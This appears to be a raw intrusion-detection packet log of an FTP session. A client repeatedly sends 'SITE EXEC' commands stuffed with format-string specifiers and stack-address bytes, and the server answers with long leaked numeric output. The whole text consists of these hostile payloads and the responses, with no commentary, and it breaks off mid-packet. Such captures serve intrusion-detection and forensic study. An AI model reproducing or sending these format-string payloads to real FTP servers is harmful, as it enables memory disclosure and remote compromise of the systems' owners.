5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.079724 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1255 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987347C Ack:
0x4DD70770 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488786 490722
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.095051 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1256 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC987347C Ack:
0x4DD70770 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488786 490722
53 49 54 45 20 45 58 45 43 20 37 20 6C E0 FF FF SITE EXEC 7 l...
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.097949 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2CB
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12091 IpLen:20
DgmLen:701 DF
***AP*** Seq: 0x4DD70770 Ack:
0xC987367B Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490734 488786
32 30 30 2D 37 20 6C E0 FF BF 2D 32 2D 32 30 30 200-7 l...-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 1C F5 FF BF DA 0D 0A x|.......
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.119277 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800 len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1257 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987367B Ack:
0x4DD709F9 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488789 490734
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.119377 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12092 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD709F9 Ack:
0xC987367B Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490738 488789
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6C E0 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 l...%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.180011 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1258 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987367B Ack:
0x4DD70BFE Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488791 490738
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.195615 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1259 IpLen:20 DgmLen:563
DF
***AP*** Seq: 0xC987367B Ack:
0x4DD70BFE Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488791 490738
53 49 54 45 20 45 58 45 43 20 37 20 26 E0 FF FF SITE EXEC 7 &...
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.198820 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12093 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD70BFE Ack:
0xC987387A Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490744 488791
32 30 30 2D 37 20 26 E0 FF BF 2D 32 2D 32 30 30 200-7 &...-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.209628 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1260 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987387A Ack:
0x4DD70E82 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488794 490744
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.209772 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12094 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD70E82 Ack:
0xC987387A Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490747 488794
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
26 E0 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 &...%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.293151 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1261 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987387A Ack:
0x4DD71087 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488796 490747
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.295063 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1262 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC987387A Ack:
0x4DD71087 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488796 490747
53 49 54 45 20 45 58 45 43 20 37 20 E0 DF FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
